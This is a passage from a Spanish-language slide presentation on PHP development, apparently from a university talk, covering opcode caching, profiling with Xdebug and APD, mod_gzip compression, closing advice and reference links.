➔ Aún si es 0.5 seg por cada pedido, eso significa
mas de 2 minutos en sólo 250 pedidos
➔ Compilar algunos archivos de PHP toma más
tiempo que ejecutarlos, en particular si estos
incluyen muchos otros archivos (clases,
configuración, etc.)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
62. Emplea cache de código
intermedio/compilado (2)
La solución: Usa cache de OP code
➔ El motor Zend compila el código PHP en OP code
antes de ejecutarlo
➔ El OP code no cambia a menos que cambies tu
código fuente
➔ Un cache de OP code ahorra la compilación
● Recomendaciones de caches de OP code:
➔ APC (Código Libre): http://pecl.php.net/APC
➔ Zend perfomance suite (comercial):
http://www.zend.com
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
63. Emplea cache de código
intermedio/compilado (3)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
64. Haz un perfil del aplicativo (1)
La situación: Es difícil encontrar los cuellos
de botella en un aplicativo grande
➔ Aún los aplicativos mejor diseñados y escritos,
pueden sufrir de componentes que causan que todo
funciones lentamente
➔ Encontrar los cuellos de botella, en ocasiones es
muy, pero muy, difícil
➔ El tratar de encontrar problemas por pruebas y error
al azar, consume tiempo y no es efectivo en casos
complejos
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
65. Haz un perfil del aplicativo (2)
La solución: Haz un perfil de tu código
➔ Un perfilador te muestra cuanto tiempo consume
cada parte de tu código
➔ Xdebug también tiene un perfilador
➔ Un perfilador identifica inequívocamente los cuellos
de botella (no tienes que adivinar)
● Recomendaciones de perfiladores
➔ Xdebug (Código Libre): http://xdebug.org/
➔ APD (Código Libre): http://pecl.php.net/package/apd
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
66. Usa mod_gzip (1)
La situación: No tienes ancho de banda
suficiente para tu servidor de web
➔ A veces el problema no es la velocidad de tu CPU,
tus discos o tu base de datos
➔ Con muchos datos a transmitir, o un ancho de
banda pobre, la velocidad de transmisión sufre
➔ Las sugerencias usuales para mejorar la
performance de tu aplicativo, no te son muy útiles
en este caso
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
67. Usa mod_gzip (2)
La solución: Usa mod_gzip
➔ Comprime tus datos en tiempo real
➔ Compresión GZIP es parte de HTTP 1.1
➔ Puede reducir los datos a ser transferidos hasta en
un 80%
➔ Está disponible como un módulo de Apache
➔ Para más información:
http://sourceforge.net/projects/mod-gzip/
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
68. Palabras finales
● El mejorar tu código implica cambios de
hábitos y el uso de herramientas que
hagan tu trabajo mejor y mas eficiente
● Lee código y eso ayudará a que el tuyo
mejore. Lo mismo para la documentación.
● Programa considerando la seguridad
como parte integral de tu diseño y no
como algo secundario.
● Mejorar la performance no es difícil, pero
requiere algo de trabajo.
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
69. Para mas información
● PHP: http://www.php.net
● Zend: http://www.zend.com
● Manual de PHP: http://www.php.net/manual/
● Charlas acerca de PHP: http://talks.php.net/
● Bugs: http://bugs.php.net/
● Listas de correo: http://news.php.net
● CVS: http://cvs.php.net
● Otros sitios de PHP.net: http://www.php.net/sites.php
● Libros: http://www.php.net/books.php
● Otras referencias: http://www.php.net/links.php
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
70. ¡Gracias!
✔ A los organizadores por su invitación para
hablar acerca de este tema.
✔ A ustedes por no aburrirse mucho con mi charla
interminable.
✔ A todos los desarrolladores de PHP que nos
hacen la vida mas fácil.
✔ A Kore Nordmann y Tobias Schlitt, de quienes
tomé gran parte del material.
Esta y otras presentaciones disponibles en:
http://www.castagnetto.com/
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia